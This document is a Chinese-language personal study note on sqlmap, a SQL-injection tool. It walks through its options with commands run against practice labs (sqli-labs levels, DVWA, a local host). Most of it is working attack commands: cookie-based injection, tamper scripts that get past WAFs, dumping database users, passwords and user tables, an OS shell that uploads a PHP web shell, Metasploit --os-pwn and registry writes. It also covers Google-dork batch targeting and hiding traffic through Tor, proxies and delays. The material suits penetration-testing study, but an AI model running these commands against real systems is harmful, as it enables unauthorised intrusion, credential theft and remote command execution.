sqlmap基础学习(笔记)

此文为自己学习sqlmap基础的笔记,留个痕迹,便于以后复习查询
#sqlmap获取目标
python sqlmap --version
python sqlmap -h
python sqlmap -hh
#sqlmap直连数据库
##服务型数据库(MySQL、Oracle、Microsoft SQL Server、PostqreSQL etc)
DBMS://USER:[email protected]_IP/PORT/DATABASE_NAME
例如:python sqlmap.py -d “mysql://admin:[email protected]:3306/testdb” -f --banner --dbs --users
##文件型数据库(SQLite、Microsoft Access、Firebird etc)
DBMS://DATABASE_FILEPATH

#sqlmap URL探测
-u 或 --url
例如:python sqlmap.py -u “testurl”

#sqlmap文件读取目标
1、-l 从burpsuite proxy或WebScarab proxy中读取http请求日志文件
保存日志文件为logs
sqlmap基础学习(笔记)
将日志文件复制到sqlmap所在目录,然后cmd执行
python sqlmap.py -l logs
sqlmap基础学习(笔记)

2、-x 从sitemap.xml站点地图文件中读取目标探测

3、-m 从多行文本格式文件中读取多个目标,对多个目标进行探测

4、-r 从文本文件中读取http请求作为SQL注入探测目标
例如:python sqlmap.py -r target.txt

5、-c 从配置文件sqlmap.conf中读取目标探测
例如:设置sqlmap.conf中的URL
sqlmap基础学习(笔记)
python sqlmap.py -c sqlmap.conf
sqlmap基础学习(笔记)

#sqlmap Google批量注入
sqlmap通过 -g 自动利用Google获取指定Google hack的目标,然后利用交互式向导模式进行SQL注入探测
例如:python sqlmap.py -g “inurl:\”.php?id=1\""

#sqlmap设置请求参数

#sqlmap设置HTTP
在某些具体情况下,需要强制使用具体的HTTP请求方法。例如PUT请求方法(–method=PUT)
#sqlmap设置POST提交参数
默认情况下用于执行HTTP请求的方法是GET,可以通过提供在POST请求中发送的数据隐式地将其改为POST。
##实例Less-11
使用burpsuite截取HTTP请求,将提交的数据复制,用于注入
sqlmap基础学习(笔记)
开始探测
python sqlmap.py -u “http://sql/Less-11/index.php” --data=“uname=admin&passwd=admin&submit=Submit” -f --banner --dbs --users
(-f fingerprint-指纹)
sqlmap基础学习(笔记)
sqlmap基础学习(笔记)
sqlmap基础学习(笔记)

#sqlmap设置参数分隔符
某些情况下,sqlmap需要覆盖默认参数分隔符(例如& in GET和POST数据),才能正确分割处理每个参数。
python sqlmap.py -u “http://sql/Less-11/index.php” --data=“uname=admin&passwd=admin&submit=Submit” --param-del="&" --banner
sqlmap基础学习(笔记)

#sqlmap设置Cookie头
sqlmap中用来设置cookie的参数:
–cookie
–cookie-del
–load-cookie
–drop-cookie
##使用场景
1、Web应用程序具有基于Cookie验证的过程
2、想利用Cookie值上的SQL注入漏洞
##sqlmap使用Cookie过程
1、登录或浏览页面
2、打开审计工具或代理截断,复制Cookie
3、在sqlmap中使用 --cookie 粘贴Cookie
###DVWA测试
python sqlmap.py -u “http://dvwa:8088/vulnerabilities/sqli/?id=1&Submit=Submit#” --banner
提示是否跟随302重定向响应
sqlmap基础学习(笔记)
拒绝后不存在注入
sqlmap基础学习(笔记)
使用burpsuite截断,抓取cookie值
sqlmap基础学习(笔记)
复制cookie,然后
python sqlmap.py -u “http://dvwa:8088/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “PHPSESSID=8i8fuens2fa0uq4b83175moham; security=low” --banner
没有302重定向响应提示,直接返回存在的注入信息和banner信息
sqlmap基础学习(笔记)

如果通信过程中web应用程序使用Set-Cookie标头进行响应,sqlmap将在所有进一步的http请求中自动使用其值作为Cookie标头。sqlmap将为SQL注入自动测试这些值。
通过 --drop-set-cookie ,sqlmap将忽略任何即将到来的Set-Cookie头来避免自动测试
如果提供一个带有选项的HTTP Cookie报头——Cookie和目标URL在任何时候发送一个HTTP Set-Cookie报头,sqlmap将询问要为以下HTTP请求使用哪组Cookie。
load-cookie 可以用来提供包含Netscape/wget格式的cookie文件
注:如需对HTTP Cookie值进行SQL注入探测,需设置 --level 2 以上(3)
##实例Less-20
使用burpsuite抓取HTTP请求后,Forward发送包,然后将包含cookie的请求信息复制到target.txt
sqlmap基础学习(笔记)
开始探测
python sqlmap.py -r target.txt --level 2 -p uname
sqlmap基础学习(笔记)
测试payload
sqlmap基础学习(笔记)

#sqlmap设置User-Agent
默认情况下sqlmap使用 sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 用户代理头执行HTTP请求。通过提供提供自定义用户代理作为选项的参数,可以使用选项——user-agent伪造。
通过使用 --random-agent,sqlmap将从./txt/user-agent中随机选择一个适用于会话的所有HTTP请求,一些站点在服务端检测HTTP User-Agent值,如果不是一个合法的值,就会中断连接,同时sqlmap也会爆出错误。
##user-agent.txt所在目录
sqlmap基础学习(笔记)
##实例Less-1
###–user-agent
将burpsuite抓取到的User-Agent复制,在sqlmap中执行
python sqlmap.py -u “http://sql/Less-1/?id=1” --user-agent=“Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0” --banner
sqlmap基础学习(笔记)
###–random-agent
python sqlmap.py -u “http://sql/Less-1/?id=1” --random-agent --banner
sqlmap基础学习(笔记)
注:针对User-Agent的值探测SQL注入,需设置 --level 3
##实例Less-18
sqlmap基础学习(笔记)
python sqlmap.py -r target.txt --level 3 --banner
sqlmap基础学习(笔记)

#sqlmap设置Host头
默认情况下从提供的目标URL解析HTTP主机头
注:–level设置为5,将对HTTP主机头进行SQL注入探测
python sqlmap.py -r target.txt --level 5
sqlmap基础学习(笔记)

#sqlmap设置Referer头
伪造HTTP Referer值是可能的,默认情况下如果没有显示设置,HTTP请求中不会发送HTTP引用头。
注:如果设置 --level 3或以上,将针对HTTP引用头进行SQL注入测试
##实例Less-19
burpsuite抓取HTTP请求后复制到target.txt
sqlmap基础学习(笔记)
python sqlmap.py -r target.txt --level 3
sqlmap基础学习(笔记)

#sqlmap设置额外HTTP头
通过设置选项 --header,可以提供额外的HTTP标头。每个标头必须用换行符分割,从配置INI文件中提供他们要容易很多。(示例sqlmap.conf文件)
-H/–header 设定一个额外头,–headers设定多个额外头
例如:python sqlmap.py -u “http://sql/Less-1/?id=1” --headers “User-Agent:HAHA\nCookie:123456” --banner
也可以在sqlmap.conf中设置。

#sqlmap设置HTTP协议认证
–auth-type 支持Basic、Digest、NTLM
–auth-cred 认证语法为 username:password
例如:python sqlmap.py -u “http://url/arti.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”
(要求提供用户名与密码)

#sqlmap设置HTTP代理
通过设置代理隐藏真实地址
–proxy 设置HTTP代理服务器位置 --proxy http(s)????/ip[:端口]
python sqlmap.py -u “url” --proxy “http(s)????/ip:端口” --banner
–proxy-cred 设置HTTP代理服务器认证信息 --proxy-cred username:password
–proxy-file 设置多条代理在文件中
python sqlmap.py -u “url” --proxy-file proxy.txt --banner
–ignore-proxy 忽略系统范围内的HTTP(S)代理服务器设置来针对本地网络的目标部分运行sqlmap

#sqlmap设置Tor隐藏网络
使用前需安装Tor服务
–tor 开启
–tor-port 设置端口
–tor-type 设置类型
–check-tor 检查是否可用

#sqlmap设置延迟
避免触发预警
–delay 0.5 设置延迟0.5秒,设置的时间不同,发包探测速度也不同
python sqlmap.py -u “http://sql/Less-1/?id=1” --delay 0.5 --banner
sqlmap基础学习(笔记)

#sqlmap设置超时
–timeout 10.5(默认设置为30秒)
python sqlmap.py -u “http://abc.com” --timeout 10.5 --banner
超时连接
sqlmap基础学习(笔记)

#sqlmap设置重试次数
–retries 4 设置对应重试次数,默认3次
python sqlmap.py -u “http://sql/Less-1/index.php?id=1” --timeout 10 --retries 4 --banner
sqlmap基础学习(笔记)

#sqlmap设置随机化参数
–randomize (参数名称-长度和类型与提供的原始值保持一致)
python sqlmap.py -u “http://sql/Less-1/index.php?id=1” --randomize id --banner

#sqlmap设置日志过滤目标
通过正则表达式匹配探测内容
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
–skip-urlencode 不进行URL加密

#sqlmap设置忽略401
测试偶尔返回401(未经授权)的站点
–ignore-401 忽略未验证错误继续测试

#sqlmap设置HTTP协议私钥
web服务器需要适当的客户端证书和用于验证身份的私钥
–auth-file 文件名(PEM格式的key_file,包含证书与私钥)

#sqlmap设置安全模式
避免在多次请求失败后销毁会话(sqlmap将访问每个预定义数量的请求,不对某个安全URL执行任何类型的注入)
–safe-url
–safe-port
–safe-req 读取对应请求文件
–safe-freq 读取多个请求文件

#sqlmap设置忽略URL编码
根据参数位置(例如GET),默认情况下它的值可以是URL编码。某些情况下,后端web服务器不遵循RFC标准,需要以原始的非编码形式发送值。
–skip-urlencode

#sqlmap性能优化

#sqlmap设置持久HTTP连接
HTTP报文中设置 Connection:Keep-Alive
–keep-alive

#sqlmap设置不接受HTTP Body
设置空连接,常用于盲注
–null-connection

#sqlmap设置多线程
同时发送多个HTTP请求,加快探测速度
–thread 默认3个。sqlmap可设置的最大线程为10

#sqlmap设置预测输出
在推理算法中用于检索值字符的顺序统计预测,加快探测速度
–predict-output(注:与 --thread 不兼容)

#sqlmap指定位置注入

#sqlmap设置指定注入参数
-p 指定具体探测参数。例如:-p “id,user-agent”
–skip 忽略探测具体参数。例如:–level 5 --skip “user-agent,referer”
–param-exclude:忽略包含具体内容的参数。例如:–param-exclude=“token|session”
–skip-static 忽略非动态参数

python sqlmap.py -u “http://sql/Less-18/index.php” -p “id,user-agent” --banner --level 5
sqlmap基础学习(笔记)

python sqlmap.py -u “http://sql/Less-6/index.php?id=1” --skip “id” --banner --batch
跳过参数id
sqlmap基础学习(笔记)

python sqlmap.py -u “http://sql/Less-1/index.php?uname=admin&upass=admin” --skip-static --banner --batch
跳过非动态参数
sqlmap基础学习(笔记)

#sqlmap设置URL注入位置
当注入点位于URL本身内部,在命令行中添加 * 号来指定注入点,手动指向URL路径,从而使sqlmap进行探测
python sqlmap.py -u “http://sql/Less-1/index.php?id=1*&uname=admin*&upass=admin” --banner
第一个参数id存在注入,不探测其他参数
sqlmap基础学习(笔记)

#sqlmap设置任意位置注入
星号 * (这里支持Havij样式%INJECT%)也可以用来指向GET、POST或HTTP头中的任意注入点。
查看cookie
sqlmap基础学习(笔记)
python sqlmap.py -u “http://sql/Less-20/index.php” --cookie=“uname=admin*” --banner
sqlmap基础学习(笔记)

#sqlmap注入参数

#sqlmap强制设置DBMS
sqlmap支持的DBMS种类:MySQL、Oracle、Microsoft SQL Server、IBM DB2、SQlite、Firebird、Sybase、SAP MaxDB、HSQLDB、Informix
格式:–dbms 数据库管理系统名称 [版本号]
例如:–dbms mysql 5.0、–dbms microsoft sql server 05(2005版本)
python sqlmap.py -u “http://sql/Less-1/?id=1” --dbms mysql --current-db
sqlmap基础学习(笔记)

#sqlmap强制设置OS系统
–os windows
–os linux
sqlmap会自动识别探测目标的后端操作系统,建议只在完全确定底层操作系统的后端数据库管理系统时才使用此选项。

#sqlmap关闭负载转换机制
–no-cast
在检索结果时,sqlmap将所有条目转换为字符串类型,并在NULL值得情况下使用空格字符替换,防止出现错误状态(例如,将空值与字符串连接起来),简化数据检索过程。在某些情况下(MYSQL DBMS旧版本)由于数据检索本身的问题(没有返回值)需要关闭这种机制

#sqlmap关闭字符转义机制(不建议关闭)
–no-escape
sqlmap需要在有效负载中使用(单引号分隔)字符串值(例如,选择"foobar")时,这些值将自动转义。原因是为了混淆有效负载内容和防止后端服务器上查询转义机制(例如magic_quotes和 / 或mysql_real_escape_string)的潜在问题,用户可以使用该选项减少有效负载的大小。

#sqlmap强制设置无效值替换
使原始参数值无效,例如id=13时,使用经典否定id=-13
##强制使用大整数值 例如 id=99999999
–invalid-bignum
例如:python sqlmap.py -u “http://sql/Less-35/?id=1” --invalid-bignum --dbs --batch
##强制使用布尔操作 例如 id=13 and 18=19
–invalid-logical
##强制使用随机字符串 例如 id=akewmc
–invalid-string

#sqlmap自定义注入负载位置
通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入。
–prefix 设置Payload前缀
–suffix 设置Payload后缀
例如,Less-3属于括号-单引号闭合
sqlmap基础学习(笔记)
python sqlmap.py -u “http://sql/Less-3/?id=1” --prefix="’)" --suffix=" AND (‘abc’='abc" --dbs -v3 --batch
(-v3表示显示注入时使用的Payload)
sqlmap基础学习(笔记)

#sqlmap设置Tamper脚本
通过Tamper脚本绕过WAF等防御措施
–tamper
python sqlmap.py -u “http://sql/Less-35/?id=1” --dbms mysql --thread 10 --tamper=“unmagicquotes.py” -v3 --batch --dbs
通过宽字节注入
sqlmap基础学习(笔记)

#sqlmap设置DBMS认证
–dbms-cred=“username:password”
python sqlmap.py -u “http://sql/Less-2/?id=1” --dbms-cred=“root:123456” --dbs

#sqlmap自定义检测参数

#sqlmap设置探测等级
–level 指定测试等级参数。默认为1,1-5探测复制度逐步提升。
sqlmap使用的有效负载在文本文件xml/payload.xml中指定。如果sqlmap错过了注入,可以添加自己的有效负载来进行测试。
sqlmap基础学习(笔记)

此选项会影响到测试中尝试哪个有效负载以及注入点(GET和POST总是被测试,Cookie从第2级测试,HTTP用户代理/引用头值从第3级测试)
在显示无法进行探测时,可以设置 --level 5 来进行更强大的探测

#sqlmap设置风险参数
–risk 指定风险参数。默认为1,1对于大多SQL注入点无害,2增加了大量基于时间的测试,3增加了基于or的测试。

#sqlmap设置页面比较参数
默认情况下通过比较注入的请求页面和未注入的原始页面内容,可以区分真查询与假查询。但有时不只是用户的输入使HTML的一部分呈现动态和改变时间。为绕过此限制,sqlmap努力识别响应体的这些片段并进行相应处理。
–string 指定包含字符串 查询为True
–not-string 指定包含字符串 查询为False
–regexp 指定通过正则表达式匹配字符串 查询为True
–code 指定匹配HTTP状态响应码 查询为True

#sqlmap设置内容比较参数
–text-only 设置页面内容文本
例如:–text-only=“Welcome for True and Forbidden for False”
–titles 设置页面title包含文本(前提需知道如何区分查询的真与假——根据返回字符串内容不同)
例如:–title=“Login”

#sqlmap注入技术参数

#sqlmap设置具体SQL注入技术
–technique 设置具体注入技术
B Boolean-based blind 基于布尔的盲注
E Error-based 报错注入
U Union query-based Union查询注入
S Stack queries 堆叠注入
T Time-based blind 基于时间的盲注
Q Inline queries 内联查询注入
例如:
python sqlmap.py -u “http://sql/Less-3/?id=1” --technique B --current-db
sqlmap基础学习(笔记)

#sqlmap设置时间盲注延迟时间
–time-sec 设置秒来延迟响应,默认5秒
python sqlmap.py -u “http://sql/Less-10/?id=1” --technique T --current-db -v3
sqlmap基础学习(笔记)
例如:
python sqlmap.py -u “http://sql/Less-10/?id=1” --technique T --current-db -v3 --time-sec 3
sqlmap基础学习(笔记)

#sqlmap设置UNION字段数
默认使用1-10列的UNION查询注入技术,通过提供更高的level可以增加到50列。
–union-cols 使用特定范围的列来进行SQL注入测试
例如:
python sqlmap.py -u “http://sql/Less-10/?id=1” --technique U --union-cols 12-18 -v3
sqlmap基础学习(笔记)

#sqlmap设置UNION字符
默认使用空字符进行联合查询,某些情况下NULL会失败,可以尝试使用随机整数
–union-char
python sqlmap.py -u “http://sql/Less-3/?id=1” --technique U --union-char 123 -v3
sqlmap基础学习(笔记)

#sqlmap设置union查询表
某些情况下需设定Union查询注入的具体数据表才能得到数据
–union-from
python sqlmap.py -u “http://sql/Less-3/?id=1” --technique U --union-from users -v3
sqlmap基础学习(笔记)

#sqlmap设置DNS露出攻击
目标网络很可能对外部流量进行限制或设置WAF。通过设置DNS流量来突破限制,获取数据内容
–dns-domain “dns服务器”(用户自身具有的一个开放53端口的DNS服务器)

#sqlmap设置二次注入
设置二次注入的结果页面
–secon-order url

#sqlmap识别指纹
探测目标指纹信息(–banner、-b)
–fingerprint
-f
python sqlmap.py -u “http://sql/Less-3/?id=1” -f
sqlmap基础学习(笔记)

#sqlmap检索DBMS信息

#sqlmap检索DBMS Banner
–banner 或者 -b 获取后端数据库Banner信息

#sqlmap检索DBMS当前用户
–current-user
python sqlmap.py -u “http://sql/Less-3/?id=1” --current-user
sqlmap基础学习(笔记)

#sqlmap检索DBMS当前数据库
–current-db
python sqlmap.py -u “http://sql/Less-3/?id=1” --current-db

#sqlmap检索DBMS主机名
–hostname
python sqlmap.py -u “http://sql/Less-3/?id=1” --hostname
sqlmap基础学习(笔记)

#sqlmap探测当前用户DBA
–is-dba 探测当前用户是否是数据管理员
python sqlmap.py -u “http://sql/Less-3/?id=1” --is-dba
sqlmap基础学习(笔记)

#sqlmap枚举DBMS用户
–users
python sqlmap.py -u “http://sql/Less-3/?id=1” --users
sqlmap基础学习(笔记)

#sqlmap枚举DBMS用户密码
–password
python sqlmap.py -u “http://sql/Less-3/?id=1” --technique U --password
sqlmap基础学习(笔记)
获取用户密码后可尝试连接数据库,例如在kali下连接mysql:
mysql -h ip地址 -u root -p 123456

#sqlmap枚举DBMS权限
–privileges (权限)
–role(角色)
python sqlmap.py -u “http://sql/Less-3/?id=1” --technique U --role
sqlmap基础学习(笔记)
python sqlmap.py -u “http://sql/Less-3/?id=1” --technique U --privileges
sqlmap基础学习(笔记)

#sqlmap系统参数

#sqlmap执行系统命令
–os-shell
python sqlmap.py -u “http://sql/Less-3/?id=1” --os-shell
选择相应选项,匹配相应路径
sqlmap基础学习(笔记)
执行dir命令
sqlmap基础学习(笔记)
发现上传了两个文件,打开tmpbdxlb.php查看内容
sqlmap基础学习(笔记)
分析是因为上传了该文件,利用了SQL注入漏洞来执行的系统命令,下面为测试效果
http://sql/tmpbdxlb.php?cmd=dir
sqlmap基础学习(笔记)

#sqlmap结合Metasploit
python sqlmap.py -u “注入点” --os-pwn (MySQL and PostgreSQL)
kali下:sqlmap -u “注入点” --os-pwn
自定义安装MSF:sqlmap -u “注入点” --os-pwn --msf-path=“安装路径”
按照提示选择并设置相应选项参数,查看网站根目录下文件是否上传成功。通过url访问该文件,发现是一个可上传文件的网页。
sqlmap基础学习(笔记)

#sqlmap注册表操作
cmd:regedit打开注册表
–reg-read 读取
–reg-add 增加
–reg-del 删除
–reg-key,–reg-value,–reg-data,–reg-type 键值、值、数据、类型
例如:
python sqlmap.py -u “url” --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=TEST --reg-type=REG_SZ --reg-data=1

#sqlmap通用参数

#sqlmap加载sqlite会话文件
-s
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -s session.sqlite
sqlmap基础学习(笔记)

#sqlmap加载http文本文件
-t
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -t /root/桌面/target1.txt --flush-session -v3 --batch
(–flush-session:刷新会话,即重新注入测试)
成功生成含有HTTP信息的文件target1.txt
sqlmap基础学习(笔记)

#sqlmap设置默认选择项
–batch (按默认选项执行)

#sqlmap执行系统命令
–os-cmd=“命令”
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --os-cmd=“ipconfig” -v3
sqlmap基础学习(笔记)

#sqlmap设置盲注字符集
在基于布尔和基于时间的盲注中,通过强制使用自定义字符集来加速数据检索过程
例如,如果转储消息摘要值(例如SHA1):sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -v3 --batch --charset=“012456789abcdef” --dbs
sqlmap基础学习(笔记)

#sqlmap爬取URL
sqlmap可以通过从目标位置开始收集链接来收集潜在的脆弱链接。
–crawl 设置深度,低于设置的深度不会进行收集
–crawl-exclude 字符串 存在字符串的URL不进行爬取
python sqlmap.py -u “url” --crawl=3 -v3 --batch

#sqlmap在CSV输出中使用的分隔字符
–dump-format=CSV 保存为CSV格式
–csv-del="," 设置分隔符
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -v3 --batch -D security -T users -C username,password --dump --csv-del=";"
sqlmap基础学习(笔记)

#sqlmap设置输出格式
sqlmap输出内容支持三种格式:CSV、HTML、SQLITE,默认CSV。
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -v3 --batch -D security -T users -C username,password --dump --dump-format=“HTML”
sqlmap基础学习(笔记)

#sqlmap探测之前检测Internet连接
–check-internet 检测当前计算机网络是否成功,确保探测失败不是因为网络拦截。

#sqlmap解析和测试表单的输入字段
–form
sqlmap -u “http://192.168.1.5/Less-11/index.php” --form --dbs --batch --threads 10 -v3
sqlmap基础学习(笔记)

#sqlmap设置预计完成时间
–eta 以进度条的形式显示
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --batch -D security -T users -C username,password --dump --eta --flush-session

#sqlmap刷新会话文件
–flush-session 避免缓存机制,也可以手工删除

#sqlmap忽略会话中存储的结果
–fresh-queries 忽略会话文件内容,保持会话文件不变,对于所选运行避免恢复查询输出
第一次探测
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -v3 --dbs
sqlmap基础学习(笔记)
使用PHPadmin新建一个test1数据库,再次探测
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -v3 --dbs
未检测到新建数据库,原因是直接使用了缓存的会话文件进行查询
sqlmap基础学习(笔记)
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” -v3 --dbs --fresh-queries
检测到新建数据库
sqlmap基础学习(笔记)

#sqlmap使用Hex函数检索数据
非ascii码检索需要特殊需求。通过使用DBMS hex函数,数据在被检索前被编码为16进制,然后在变为原始形式,确保数据不会丢失,返回正确结果。
–hex
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --batch -D security -T users -C username,password --dump --hex --flush-session -v3
payload进行了hex加密
sqlmap基础学习(笔记)

#sqlmap设置自定义输出路径
–output-dir=“自定义路径”
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --batch -D security -T users -C username,password --dump --output-dir="/root/桌面/"
sqlmap基础学习(笔记)

#sqlmap从响应页面解析错误
如果web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示他们。
–parse-error
–save 保存sqlmap配置文件,可以将命令行选项保存到配置INI文件中,之后可以使用 -c 编辑生产的文件并将其传递给sqlmap
–update 更新sqlmap
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --batch -D security -T users -C username,password --dump --parse-error
sqlmap基础学习(笔记)
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --batch -D security -T users -C username,password --dump --parse-error --flush-session --save="/root/桌面/parse_ini"
sqlmap基础学习(笔记)
使用 -c 加载 parse_ini
sqlmap基础学习(笔记)

#sqlmap强制设置DBMS编码
例如:–encoding=“gbk”

#sqlmap存储HTTP流量到HAR
–har=“HARFILE” 在当前目录创建一个har文件
HAR(HTTP Archive),是一个用来存储HTTP请求/响应信息的通用文件格式(基于json)
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --dbs --har=“test_har.har” --batch
sqlmap基础学习(笔记)

#sqlmap筛选具体Payload
例如:–test-filter=“ROW”
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --dbs --test-filter=“ROW” -v3 --batch --flush-session
sqlmap基础学习(笔记)

#sqlmap过滤具体Payload
例如:–test-skip=“BENCHMARK”
sqlmap -u “http://192.168.1.5/Less-1/index.php?id=1” --dbs --test-skip=“BENCHMARK” -v3 --batch --flush-session

#针对proxy日志文件使用正则表达式筛选目标
–scope=“regex”

#sqlmap杂项参数

-z 缩写命令 例如 -z flu,bat,ban,tec=EU

–alert 当发现SQL注入时,立即运行主机系统命令(本地(例如执行一些自定义脚本))

–beep 当发现SQL注入时,发出BB声音

–cleanup 清除DBMS udf创建的数据表

–dependencies 查看依赖项
sqlmap基础学习(笔记)

–disable-coloring 不进行高亮显示

–identify-waf 查看是否具有WAF保护

–moblie 使用手机端User-Agent

–offline 仅使用session文件,不进行联网探测

–purge-output 清除output目录下的文件

–skip-waf 绕过WAF

–sqlmap-shell 使用sqlmap shell(可直接执行选项参数,无需再加sqlmap)

–tmp-dir=TMPDIR 指定本地目录用来存储临时文件

–web-root=WEBROOT 指定站点根目录

–wizard 使用向导式的sqlmap

–answer=ANSWERS 设置问题答案 例如"quit=N,follow=N"

–gpage=GOOGLEPAGE 设置Google Dork的页码数

–smart 智能探测 某些情况下,用户有大量的潜在目标url(例如提供了选项 -m ),希望尽快找到一个脆弱的目标,通过使用 --smart ,将在扫描中进一步使用数据库管理系统错误的参数。否则就跳过它们。

#Tamper脚本分析

#Tamper脚本常量文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EN4pOkO3-1596095634887)(C:\Users\FLwinter\AppData\Roaming\Typora\typora-user-images\image-20200730152404559.png)]

#Tamper分析

apostrophemask.py

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hla7o1G7-1596095634887)(C:\Users\FLwinter\AppData\Roaming\Typora\typora-user-images\image-20200730152909957.png)]

base64encode.py

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wcVTd0EH-1596095634889)(C:\Users\FLwinter\AppData\Roaming\Typora\typora-user-images\image-20200730153028677.png)]

multiplespaces.py

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oJHRNo9t-1596095634890)(C:\Users\FLwinter\AppData\Roaming\Typora\typora-user-images\image-20200730153226406.png)]

其他Tamper脚本:space2plus.py nonrecursivereplacement.py space2randomblank.py unionalltounion.py securesphere.py

#Tamper脚本分析_MSSQL

#适合于MSSQLTamper脚本

支持MSSQL的Tamper脚本,也可能支持其他类型的数据库

space2hash.py equaltolike.py space2mssqlblank.py space2mssqlhash.py between.py percentage.py sp_password.py charencode.py randomcase.py charunicodeencode.py space2comment.py

#脚本分析方法

如果只是使用直接看注释即可,需要二次开则需要修改payload内容

#脚本分析过程中的学习

分析Tamper脚本可以学习绕过技巧以及其他技巧

#根据名称判断作用

例如0x2char,其作用是将十六进制转换为字符串(0x to char)